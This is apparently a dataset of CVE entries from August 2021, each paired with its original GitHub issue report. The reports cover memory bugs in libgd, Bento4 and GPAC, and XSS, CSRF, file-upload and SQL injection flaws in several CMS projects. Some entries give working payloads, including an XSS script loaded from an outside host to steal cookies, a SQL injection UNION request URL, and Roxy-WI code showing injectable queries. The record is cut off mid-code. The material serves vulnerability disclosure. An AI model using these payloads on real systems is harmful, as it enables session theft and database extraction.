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|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
CVE-2021-38115 | 2021-08-04T21:15:08.170 | read_header_tga in gd_tga.c in the GD Graphics Library (aka LibGD) through 2.3.2 allows remote attackers to cause a denial of service (out-of-bounds read) via a crafted TGA file. | {
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"libgd",
"libgd"
] | hello,
[this issue](https://github.com/libgd/libgd/issues/247#issue-163166532) is showing a read out of bound for a corrupted TGA [test.txt](https://github.com/libgd/libgd/files/6407187/test.txt) which is patched by adding some checks for ` gdGetBuf`.
although the patch prevents occurring this vulnerability I saw that this function (` gdGetBuf`) is used in `read_header_tga` too which there is no check for its return value again.
I changed the header of the file which was used for the previous CVE-2016-6132. In fact, I changed the first byte to `ff` which is assigned to `tga->identsize`.
[file(it is a tga, not a really a txt) ](https://github.com/libgd/libgd/files/6407191/test.txt)
```
...
tga->identsize = header[0];
...
gdGetBuf(tga->ident, tga->identsize, ctx);
...
```
when I run the test with this input file ASAN shows this:
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==12378==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f685ae4a7a0 bp 0x7fff6bb8b740 sp 0x7fff6bb8b720 T0)
==12378==The signal is caused by a READ memory access.
==12378==Hint: address points to the zero page.
#0 0x7f685ae4a79f in gdImageDestroy /tmp/libgd/src/gd.c:390
#1 0x55c05b670432 in main /tmp/libgd/tests/tga/bug00084.c:11
#2 0x7f685aa3709a in __libc_start_main ../csu/libc-start.c:308
#3 0x55c05b670339 in _start (/tmp/libgd/build/Bin/test_tga_bug00084+0x2339)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /tmp/libgd/src/gd.c:390 in gdImageDestroy
==12378==ABORTING
```
Is it showing another vulnerability?
| Read out of bound in TGA files | https://api.github.com/repos/libgd/libgd/issues/697/comments | 14 | 2021-04-30T18:12:52Z | 2024-09-23T22:10:36Z | https://github.com/libgd/libgd/issues/697 | 873,008,720 | 697 | 2,275 |
CVE-2021-38138 | 2021-08-05T16:15:07.317 | OneNav beta 0.9.12 allows XSS via the Add Link feature. NOTE: the vendor's position is that there intentionally is not any XSS protection at present, because the attack risk is largely limited to a compromised account; however, XSS protection is planned for a future release. | {
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input xss payload 1 :"><script>alert("XSS")</script>
click 添加 button
alert xss success
input xss payload 2:<sCRiPt sRC=//xss.pt/NZ9j></sCrIpT>
Get user cookie success | OneNav's add link function exists xss vul | https://api.github.com/repos/helloxz/onenav/issues/26/comments | 8 | 2021-08-05T06:53:41Z | 2022-02-18T12:10:08Z | https://github.com/helloxz/onenav/issues/26 | 961,505,022 | 26 | 2,276 |
CVE-2021-35306 | 2021-08-05T20:15:09.387 | An issue was discovered in Bento4 through v1.6.0-636. A NULL pointer dereference exists in the function AP4_StszAtom::WriteFields located in Ap4StszAtom.cpp. It allows an attacker to cause a denial of service (DOS). | {
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"axiomatic-systems",
"Bento4"
] | Hello,
A SEGV has occurred when running program mp42aac，
System info：
Ubuntu 20.04.1 : clang 10.0.0 , gcc 9.3.0
Bento4 version 1.6.0-636
[POC.zip](https://github.com/axiomatic-systems/Bento4/files/6631654/POC.zip)
Verification steps：
1.Get the source code of Bento4
2.Compile
```
cd Bento4
mkdir check_build && cd check_build
cmake ../ -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_CXX_FLAGS="fsanitize=address"
make -j 16
```
3.run mp42aac
```
./mp42aac poc /dev/null
```
Output
```
Segmentation fault(core dumped)
```
AddressSanitizer output
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2182861==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x556efda097b2 bp 0x6040000008d0 sp 0x7ffc29113390 T0)
==2182861==The signal is caused by a READ memory access.
==2182861==Hint: address points to the zero page.
#0 0x556efda097b1 in AP4_StszAtom::WriteFields(AP4_ByteStream&) /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4StszAtom.cpp:122
#1 0x556efd8c3e32 in AP4_Atom::Write(AP4_ByteStream&) /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4Atom.cpp:229
#2 0x556efd8c2bea in AP4_Atom::Clone() /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4Atom.cpp:316
#3 0x556efd9306b7 in AP4_ContainerAtom::Clone() /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4ContainerAtom.cpp:172
#4 0x556efd9306b7 in AP4_ContainerAtom::Clone() /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4ContainerAtom.cpp:172
#5 0x556efd9306b7 in AP4_ContainerAtom::Clone() /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4ContainerAtom.cpp:172
#6 0x556efd9306b7 in AP4_ContainerAtom::Clone() /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4ContainerAtom.cpp:172
#7 0x556efd9306b7 in AP4_ContainerAtom::Clone() /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4ContainerAtom.cpp:172
#8 0x556efd82dc02 in AP4_ProtectionSchemeInfo::AP4_ProtectionSchemeInfo(AP4_ContainerAtom*) /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4Protection.cpp:319
#9 0x556efd82dc02 in AP4_ProtectedSampleDescription::AP4_ProtectedSampleDescription(unsigned int, AP4_SampleDescription*, unsigned int, unsigned int, unsigned int, char const*, AP4_ContainerAtom*, bool) /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4Protection.cpp:689
#10 0x556efd82e1f5 in AP4_EncaSampleEntry::ToSampleDescription() /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4Protection.cpp:103
#11 0x556efd86cd8d in AP4_StsdAtom::GetSampleDescription(unsigned int) /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4StsdAtom.cpp:181
#12 0x556efd802063 in main /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:268
#13 0x7f76227050b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#14 0x556efd80614d in _start (/home/dh/sda3/AFLplusplus/Bento4-master/mp42aac_afl+++0x5914d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4StszAtom.cpp:122 in AP4_StszAtom::WriteFields(AP4_ByteStream&)
==2182861==ABORTING
```
| SEGV in mp42aac | https://api.github.com/repos/axiomatic-systems/Bento4/issues/615/comments | 2 | 2021-06-10T13:16:05Z | 2021-12-27T07:29:17Z | https://github.com/axiomatic-systems/Bento4/issues/615 | 917,334,988 | 615 | 2,277 |
CVE-2021-35307 | 2021-08-05T20:15:09.423 | An issue was discovered in Bento4 through v1.6.0-636. A NULL pointer dereference exists in the AP4_DescriptorFinder::Test component located in /Core/Ap4Descriptor.h. It allows an attacker to cause a denial of service (DOS). | {
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"axiomatic-systems",
"Bento4"
] | Hello,
A SEGV has occurred when running program mp42aac，
System info：
Ubuntu 20.04.1 : clang 10.0.0 , gcc 9.3.0
Bento4 version 1.6.0-636
[poc (2).zip](https://github.com/axiomatic-systems/Bento4/files/6631972/poc.2.zip)
Verification steps：
1.Get the source code of Bento4
2.Compile
```
cd Bento4
mkdir check_build && cd check_build
cmake ../ -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_CXX_FLAGS="fsanitize=address"
make -j 16
```
3.run mp42aac
```
./mp42aac poc /dev/null
```
Output
```
Segmentation fault(core dumped)
```
AddressSanitizer output
```
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2513287==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000008 (pc 0x5614212cf0c2 bp 0x0fffb285532c sp 0x7ffd942a9960 T0)
==2513287==The signal is caused by a READ memory access.
==2513287==Hint: address points to the zero page.
#0 0x5614212cf0c1 in AP4_DescriptorFinder::Test(AP4_Descriptor*) const /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4Descriptor.h:92
#1 0x5614212cf0c1 in AP4_List<AP4_Descriptor>::Find(AP4_List<AP4_Descriptor>::Item::Finder const&, AP4_Descriptor*&) const /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4List.h:431
#2 0x5614212cf0c1 in AP4_DecoderConfigDescriptor::GetDecoderSpecificInfoDescriptor() const /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4DecoderConfigDescriptor.cpp:159
#3 0x5614211be076 in AP4_MpegSampleDescription::AP4_MpegSampleDescription(unsigned int, AP4_EsdsAtom*) /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4SampleDescription.cpp:894
#4 0x5614211be5e5 in AP4_MpegAudioSampleDescription::AP4_MpegAudioSampleDescription(unsigned int, unsigned short, unsigned short, AP4_EsdsAtom*) /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4SampleDescription.cpp:1000
#5 0x561421193a74 in AP4_EncaSampleEntry::ToTargetSampleDescription(unsigned int) /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4Protection.cpp:143
#6 0x5614211a1105 in AP4_EncaSampleEntry::ToSampleDescription() /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4Protection.cpp:98
#7 0x5614211dfd8d in AP4_StsdAtom::GetSampleDescription(unsigned int) /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4StsdAtom.cpp:181
#8 0x561421175063 in main /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:268
#9 0x7fcdb4b710b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#10 0x56142117914d in _start (/home/dh/sda3/AFLplusplus/Bento4-master/mp42aac_afl+++0x5914d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/dh/AFLplusplus/Bento4-master/Bento4-master-afl++/Source/C++/Core/Ap4Descriptor.h:92 in AP4_DescriptorFinder::Test(AP4_Descriptor*) const
==2513287==ABORTING
```
| SEGV in mp42aac | https://api.github.com/repos/axiomatic-systems/Bento4/issues/616/comments | 1 | 2021-06-10T14:10:25Z | 2021-08-06T01:09:22Z | https://github.com/axiomatic-systems/Bento4/issues/616 | 917,392,735 | 616 | 2,278 |
CVE-2021-36584 | 2021-08-05T20:15:09.457 | An issue was discovered in GPAC 1.0.1. There is a heap-based buffer overflow in the function gp_rtp_builder_do_tx3g function in ietf/rtp_pck_3gpp.c, as demonstrated by MP4Box. This can cause a denial of service (DOS). | {
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] | 787 | https://github.com/gpac/gpac/issues/1842 | [
"Exploit",
"Third Party Advisory"
] | github.com | [
"gpac",
"gpac"
] | Hello,
A heap-buffer-overflow has occurred when running program MP4Box,this can reproduce on the lattest commit.
System info：
Ubuntu 20.04.1 : clang 10.0.0 , gcc 9.3.0
[poc1.zip](https://github.com/gpac/gpac/files/6766970/poc1.zip)
Verification steps：
1.Get the source code of gpac
2.Compile
```
cd gpac-master
CC=gcc CXX=g++ CFLAGS="-fsanitize=address" CXXFLAGS="-fsanitize=address" ./configure
make
```
3.run MP4Box
```
./MP4Box -hint poc -out /dev/null
```
asan info
```
=================================================================
==47156==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000001892 at pc 0x7f5f1dea9b2c bp 0x7ffe02fd8810 sp 0x7ffe02fd8800
READ of size 1 at 0x602000001892 thread T0
#0 0x7f5f1dea9b2b in gp_rtp_builder_do_tx3g ietf/rtp_pck_3gpp.c:399
#1 0x7f5f1e76148a in gf_hinter_track_process media_tools/isom_hinter.c:808
#2 0x5622a222ce2b in HintFile /home/.../gpac/gpac-master/applications/mp4box/main.c:3499
#3 0x5622a2243d54 in mp4boxMain /home/.../gpac/gpac-master/applications/mp4box/main.c:6297
#4 0x7f5f1d3990b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
#5 0x5622a21f6f1d in _start (/home/.../gpac/gpac-master/bin/gcc/MP4Box+0x48f1d)
0x602000001892 is located 0 bytes to the right of 2-byte region [0x602000001890,0x602000001892)
allocated by thread T0 here:
#0 0x7f5f20277bc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8)
#1 0x7f5f1e29d6cd in Media_GetSample isomedia/media.c:617
SUMMARY: AddressSanitizer: heap-buffer-overflow ietf/rtp_pck_3gpp.c:399 in gp_rtp_builder_do_tx3g
Shadow bytes around the buggy address:
0x0c047fff82c0: fa fa fd fd fa fa 00 00 fa fa 00 00 fa fa fd fd
0x0c047fff82d0: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fd
0x0c047fff82e0: fa fa fd fa fa fa 00 00 fa fa 00 00 fa fa 00 00
0x0c047fff82f0: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
0x0c047fff8300: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
=>0x0c047fff8310: fa fa[02]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8320: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8330: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8340: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8350: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8360: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==47156==ABORTING
```
source code
```
396 pay_start = 2;
397 if (txt_size>2) {
398 /*seems 3GP only accepts BE UTF-16 (no LE, no UTF32)*/
399 if (((u8) data[2]==(u8) 0xFE) && ((u8) data[3]==(u8) 0xFF)) {
400 is_utf_16 = GF_TRUE;
401 pay_start = 4;
402 txt_size -= 2;
403 }
404 }
405 samp_size = data_size - pay_start;
```
| heap-buffer-overflow in gp_rtp_builder_do_tx3g | https://api.github.com/repos/gpac/gpac/issues/1842/comments | 1 | 2021-07-06T02:59:40Z | 2021-08-06T01:08:16Z | https://github.com/gpac/gpac/issues/1842 | 937,474,838 | 1,842 | 2,279 |
CVE-2020-22392 | 2021-08-05T22:15:07.183 | Cross Site Scripting (XSS) vulnerability exists in Subrion CMS 4.2.2 when adding a blog and then editing an image file. | {
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] | github.com | [
"intelliants",
"subrion"
] | Hello,I found a stored xss bug when add blog.
At first add a blog and upload image ,then edit blog.image file ”x” onerror=”alert(/xss/).
Browse blog trigger XSS.
Suggestion call safeHTML to image[‘file’].
| Blog Stored XSS Vulnerability | https://api.github.com/repos/intelliants/subrion/issues/868/comments | 0 | 2020-03-05T02:55:23Z | 2021-09-17T06:11:46Z | https://github.com/intelliants/subrion/issues/868 | 575,957,709 | 868 | 2,280 |
CVE-2020-22330 | 2021-08-06T14:15:07.470 | Cross-Site Scripting (XSS) vulnerability in Subrion 4.2.1 via the title when adding a page. | {
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] | github.com | [
"intelliants",
"subrion"
] | **SCOPE:**
**Package:** Subrion CMS
**Version:** 4.2.1
**ISSUE:** XSS
**Vulnerability Description:** The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. As a result, an attacker can inject and execute arbitrary HTML and script code in user's browser in context of a vulnerable website.
**Vulnerability Classification:**
CWE: 79
CVSS3Basescore: 6.1
CVSS: 3.5 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:H
**Steps To Reproduce:**
- Login
- Click on contents->Pages->Add page
<img width="360" alt="Capture01" src="https://user-images.githubusercontent.com/55693509/71062249-e7358000-211e-11ea-8be2-2ba56bf67ebe.PNG">
- Fill the details
<img width="360" alt="Capture2" src="https://user-images.githubusercontent.com/55693509/71062453-62973180-211f-11ea-84f9-aa057ef4bd81.PNG">
In title give the payload <img src=xss onerror=alert(1)>
<img width="360" alt="Capture3" src="https://user-images.githubusercontent.com/55693509/71062531-983c1a80-211f-11ea-8794-79eadcd3af29.PNG">
- Now click on blocks while adding a new block XSS is being triggered.
<img width="360" alt="Capture4" src="https://user-images.githubusercontent.com/55693509/71062705-0385ec80-2120-11ea-832a-1c2c028f1f88.PNG">
**Reference:** https://cwe.mitre.org/data/definitions/79.html
**Mitigations:**
- Perform sanitization of input data before inserting it into the page content.
- Escaping user input.
- Validating user input.
| Possible Cross site scripting (XSS) | https://api.github.com/repos/intelliants/subrion/issues/850/comments | 1 | 2019-12-18T06:59:25Z | 2020-02-28T05:08:06Z | https://github.com/intelliants/subrion/issues/850 | 539,494,602 | 850 | 2,281 |
CVE-2021-36454 | 2021-08-06T16:15:06.987 | Cross Site Scripting (XSS) vulnerability in Naviwebs Navigate Cms 2.9 via the navigate-quickse parameter to 1) backups\backups.php, 2) blocks\blocks.php, 3) brands\brands.php, 4) comments\comments.php, 5) coupons\coupons.php, 6) feeds\feeds.php, 7) functions\functions.php, 8) items\items.php, 9) menus\menus.php, 10) orders\orders.php, 11) payment_methods\payment_methods.php, 12) products\products.php, 13) profiles\profiles.php, 14) shipping_methods\shipping_methods.php, 15) templates\templates.php, 16) users\users.php, 17) webdictionary\webdictionary.php, 18) websites\websites.php, and 19) webusers\webusers.php because the initial_url function is built in these files. | {
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"NavigateCMS",
"Navigate-CMS"
] | **EXPECTED BEHAVIOUR**
An authenticated malicious user can take advantage of a Reflected XSS vulnerability with navigate-quickse parameter in URL and affect many modules.
**IMPACT**
Commonly include transmitting private data, like cookies or other session information, to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user’s machine under the guise of the vulnerable site.
**VULNERABILITY CODE**
I found the vulnerability code in many files. Because **initial_url** is built in these files.
> lib\packages\backups\backups.php
lib\packages\blocks\blocks.php
lib\packages\brands\brands.php
lib\packages\comments\comments.php
lib\packages\coupons\coupons.php
lib\packages\feeds\feeds.php
lib\packages\functions\functions.php
lib\packages\items\items.php
lib\packages\menus\menus.php
lib\packages\orders\orders.php
lib\packages\payment_methods\payment_methods.php
lib\packages\products\products.php
lib\packages\profiles\profiles.php
lib\packages\shipping_methods\shipping_methods.php
lib\packages\templates\templates.php
lib\packages\users\users.php
lib\packages\webdictionary\webdictionary.php
lib\packages\websites\websites.php
lib\packages\webusers\webusers.php
After that **initial_url** is used in **\lib\layout\navitable.class.php** file to build HTML.
**STEPS TO REPRODUCE**
1. We change the request and send the link to user
`GET /navigate-2.9.3r1525/navigate/navigate.php?fid=websites&act=list&quicksearch=true&navigate-quicksearch=0"})%3b+alert("XSS")%3b$("%23websites_list").jqGrid({//`
2. People who already login and click to the link above.
3. When loading the page then the Reflected XSS is executed.
| Reflected XSS attack with navigate-quickse parameter and affect many modules in NavigateCMS 2.9 | https://api.github.com/repos/NavigateCMS/Navigate-CMS/issues/24/comments | 1 | 2021-06-22T08:59:25Z | 2021-06-26T14:12:08Z | https://github.com/NavigateCMS/Navigate-CMS/issues/24 | 927,001,399 | 24 | 2,282 |
CVE-2021-36455 | 2021-08-06T16:15:07.027 | SQL Injection vulnerability in Naviwebs Navigate CMS 2.9 via the quicksearch parameter in \lib\packages\comments\comments.php. | {
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"NavigateCMS",
"Navigate-CMS"
] | **EXPECTED BEHAVIOUR**
An authenticated malicious user can take advantage of a SQL injection UNION attack vulnerability with quicksearch parameter in URL.
**IMPACT**
A successful SQL injection attack may result in the unauthorized viewing of user lists, the deletion of entire tables and, in certain cases, the attacker gaining administrative rights to a database, all of which are highly detrimental to a business.
**VULNERABILITY CODE**
I found quicksearch parameter is not handled in SQL query with WHERE clause in **\lib\packages\comments\comments.php**
And the **protect** function in **\lib\core\core.php** is not use ESCAPE to filter special characters
Then it is use to query in: **\lib\core\database.class.php**
**STEPS TO REPRODUCE**
1. We change the request in URL
`GET /navigate/navigate/navigate.php?fid=comments&act=json&_search=true&quicksearch=%25")+UNION+ALL+SELECT+DATABASE(),null,null,null,null,null,null,VERSION()%3b--&_search=false&nd=1623493056682&rows=30&page=1&sidx=date_created&sord=desc&filters=`
2. And then we could exploit all the data.
| SQL injection UNION attack with quicksearch parameter in NavigateCMS 2.9 | https://api.github.com/repos/NavigateCMS/Navigate-CMS/issues/25/comments | 1 | 2021-06-26T09:25:58Z | 2021-06-26T13:33:29Z | https://github.com/NavigateCMS/Navigate-CMS/issues/25 | 930,656,566 | 25 | 2,283 |
CVE-2020-18693 | 2021-08-06T19:15:06.917 | Cross Site Scripting (XSS) in MineWebCMS v1.7.0 allows remote attackers to execute arbitrary code by injecting malicious code into the 'Title' field of the component '/admin/news'. | {
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"MineWeb",
"MineWebCMS"
] | Affected software:MineWebCMS_v1.7.0
Type of vulnerability: XSS (Stored)
Discovered by: Ryan0lb
details:
Open this url “http://127.0.0.1/admin/“ and login in
and Click the "Customization" and view the News
we can add a new article
We can control this parameter via "title",and we can insert the payload:"<script>alert("test")</script>" in title
finally,submit!
The malicious javascript payload executed for it successlly
and open the article's url:"http://127.0.0.1/blog/1-php",The malicious javascript payload executed for it successlly too
Without any filtering on publish the article, we can easily trigger malicious XSS Payload and attack every visitor maliciously. | XSS(Stored) in MineWebCMS_v1.7.0 | https://api.github.com/repos/MineWeb/MineWebCMS/issues/123/comments | 5 | 2019-03-18T08:41:34Z | 2021-08-11T10:16:50Z | https://github.com/MineWeb/MineWebCMS/issues/123 | 422,095,850 | 123 | 2,284 |
CVE-2020-21353 | 2021-08-06T23:15:07.823 | A stored cross site scripting (XSS) vulnerability in /admin/snippets.php of GetSimple CMS 3.4.0a allows attackers to execute arbitrary web scripts or HTML via crafted payload in the Edit Snippets module. | {
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Payload: '"><img/src=@ onerror=alert(document.location) />
At Snippets, click on ADD SNIPPEN and edit Snippets to XSS.
Click Save Snippets to save and refresh the trigger XSS
| Storage XSS in admin/snippets.php | https://api.github.com/repos/GetSimpleCMS/GetSimpleCMS/issues/1319/comments | 0 | 2019-11-20T07:09:52Z | 2019-11-20T18:44:12Z | https://github.com/GetSimpleCMS/GetSimpleCMS/issues/1319 | 525,617,896 | 1,319 | 2,285 |
CVE-2020-21356 | 2021-08-06T23:15:07.863 | An information disclosure vulnerability in upload.php of PopojiCMS 1.2 leads to physical path disclosure of the host when 'name = "file" is deleted during file uploads. | {
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poc:delete name="file";
Normal upload file
Deleting "name =" file ";" will cause host physical path disclosure
| Host path leak in upload.php | https://api.github.com/repos/PopojiCMS/PopojiCMS/issues/23/comments | 1 | 2019-11-22T02:49:52Z | 2019-12-18T09:21:02Z | https://github.com/PopojiCMS/PopojiCMS/issues/23 | 526,955,734 | 23 | 2,286 |
CVE-2020-21357 | 2021-08-06T23:15:07.903 | A stored cross site scripting (XSS) vulnerability in /admin.php?mod=user&act=addnew of PopojiCMS 1.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload in the E-Mail field. | {
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poc:'"><script>alert(document.cookie)</script>@test.com
The mailbox is written as XSS malicious code when a new user is added
Click Edit to view user information in pengguna after adding users
XSS triggered successfully
| Storage XSS in Tambah Pengguna | https://api.github.com/repos/PopojiCMS/PopojiCMS/issues/24/comments | 1 | 2019-11-22T06:05:31Z | 2019-12-18T09:21:18Z | https://github.com/PopojiCMS/PopojiCMS/issues/24 | 527,006,409 | 24 | 2,287 |
CVE-2020-21358 | 2021-08-06T23:15:07.957 | A cross site request forgery (CSRF) in Wage-CMS 1.5.x-dev allows attackers to arbitrarily add users. | {
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CSRF vulnerability in employee management
Before CSRF
Click 'Add' and edit employee information
Grab the packet and construct the payload of CSRF, and save it as csrf.html
Visit csrf.html and click 'submit request'
Employee added successfully
| CSRF in /admin/users | https://api.github.com/repos/WXiangQian/wage-cms/issues/1/comments | 1 | 2019-11-25T09:33:40Z | 2019-12-11T03:23:16Z | https://github.com/WXiangQian/wage-cms/issues/1 | 527,959,729 | 1 | 2,288 |
CVE-2020-28087 | 2021-08-06T23:15:07.993 | A SQL injection vulnerability in /jeecg boot/sys/dict/loadtreedata of jeecg-boot CMS 2.3 allows attackers to access sensitive database information. | {
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"89"
] | 89 | https://github.com/zhangdaiscott/jeecg-boot/issues/1887 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"zhangdaiscott",
"jeecg-boot"
] | ##### 版本号：
2.3
##### 问题描述：
After testing, it is found that the code parameter of /jeecg boot/sys/dict/loadtreedata interface of jeecg-boot has SQL injection
##### 截图&代码：
Reuse https://github.com/zhangdaiscott/jeecg-boot After the source code of the project starts the project, click "custom component" and grab the package to get the interface with SQL injection, and use sqlmap to prove the existence of SQL injection
The vulnerability code exists in the following code:\jeecg-boot\jeecg-boot-module-system\src\main\java\org\jeecg\modules\system\controller\SysDictController.java At line 290 of
友情提示： 未按格式要求发帖，会直接删掉。
| sql注入 | https://api.github.com/repos/jeecgboot/JeecgBoot/issues/1887/comments | 1 | 2020-10-24T09:33:04Z | 2020-10-30T07:45:25Z | https://github.com/jeecgboot/JeecgBoot/issues/1887 | 728,750,634 | 1,887 | 2,289 |
CVE-2020-28088 | 2021-08-06T23:15:08.030 | An arbitrary file upload vulnerability in /jeecg-boot/sys/common/upload of jeecg-boot CMS 2.3 allows attackers to execute arbitrary code. | {
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"Third Party Advisory"
] | github.com | [
"zhangdaiscott",
"jeecg-boot"
] | ##### 版本号：
2.3
##### 问题描述：
After testing, it is found that there is an arbitrary file upload vulnerability in the image upload function of "custom component" of jeecg boot, and the interface is /jeecg-boot/sys/common/upload
##### 截图&代码：
Reuse https://github.com/zhangdaiscott/jeecg-boot After the source code of the project is started, click "custom component" and grab the package to get the interface with arbitrary file upload vulnerability
Modify the upload suffix name and upload content through packet capture
The vulnerability code exists in the following code:\jeecg-boot\jeecg-boot-base-common\src\main\java\org\jeecg\common\system\controller\CommonController.java At line 76 of
友情提示： 未按格式要求发帖，会直接删掉。
| There is an arbitrary file upload vulnerability | https://api.github.com/repos/jeecgboot/JeecgBoot/issues/1888/comments | 2 | 2020-10-24T10:12:13Z | 2023-04-26T11:29:21Z | https://github.com/jeecgboot/JeecgBoot/issues/1888 | 728,757,291 | 1,888 | 2,290 |
CVE-2021-38167 | 2021-08-07T18:15:07.080 | Roxy-WI through 5.2.2.0 allows SQL Injection via check_login. An unauthenticated attacker can extract a valid uuid to bypass authentication. | {
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] | 89 | https://github.com/hap-wi/roxy-wi/issues/285 | [
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] | github.com | [
"hap-wi",
"roxy-wi"
] | i found haproxy-wi in aws/digitalocean marketplace when i was looking for a solution to manage multiple reverse proxies, since it was opensource i peaked at how it works and found some critical issues when combined leading to pre-auth RCE
## \# SQL injections:
Inside `/app/sql.py` some SQL statements have user controlled input supplied directly into SQL queries
### \#\# Unauthenticated SQLi
when an attacker request any of the pages inside `/app` folder, authentication is checked via `funct.check_login()`
```python
def check_login():
import sql
import http.cookies
> cookie = http.cookies.SimpleCookie(os.environ.get("HTTP_COOKIE"))
> user_uuid = cookie.get('uuid')
ref = os.environ.get("REQUEST_URI")
sql.delete_old_uuid()
if user_uuid is not None:
> sql.update_last_act_user(user_uuid.value)
if sql.get_user_name_by_uuid(user_uuid.value) is None:
print('<meta http-equiv="refresh" content="0; url=login.py?ref=%s">' % ref)
return False
else:
print('<meta http-equiv="refresh" content="0; url=login.py?ref=%s">' % ref)
return False
```
`check_login()` takes `uuid` cookie value and try to update expiration timestamp for the given uuid with `sql.update_last_act_user(user_uuid.value)`
```python
def update_last_act_user(uuid):
cursor = conn.cursor()
session_ttl = get_setting('session_ttl')
if mysql_enable == '1':
> sql = """ update uuid set exp = now()+ INTERVAL %s day where uuid = '%s' """ % (session_ttl, uuid)
else:
> sql = """ update uuid set exp = datetime('now', '+%s days') where uuid = '%s' """ % (session_ttl, uuid)
try:
cursor.execute(sql)
except Exception as e:
funct.out_error(e)
```
`uuid` cookie value is directly supplied into the query, so an unauthenticated attacker can perform a blind SQL injection to dump the database or extract a valid uuid to bypass authentication
### \#\# authenticated SQLi
One example of authenticated SQLi via reaching select_servers function
```python
def select_servers(**kwargs):
cursor = conn.cursor()
sql = """select * from servers where enable = '1' ORDER BY groups """
if kwargs.get("server") is not None:
sql = """select * from servers where ip='%s' """ % kwargs.get("server")
if kwargs.get("full") is not None:
sql = """select * from servers ORDER BY hostname """
if kwargs.get("get_master_servers") is not None:
sql = """select id,hostname from servers where master = 0 and type_ip = 0 and enable = 1 ORDER BY groups """
if kwargs.get("get_master_servers") is not None and kwargs.get('uuid') is not None:
sql = """ select servers.id, servers.hostname from servers
left join user as user on servers.groups = user.groups
left join uuid as uuid on user.id = uuid.user_id
where uuid.uuid = '%s' and servers.master = 0 and servers.type_ip = 0 and servers.enable = 1 ORDER BY servers.groups
""" % kwargs.get('uuid')
if kwargs.get("id"):
sql = """select * from servers where id='%s' """ % kwargs.get("id")
if kwargs.get("hostname"):
sql = """select * from servers where hostname='%s' """ % kwargs.get("hostname")
if kwargs.get("id_hostname"):
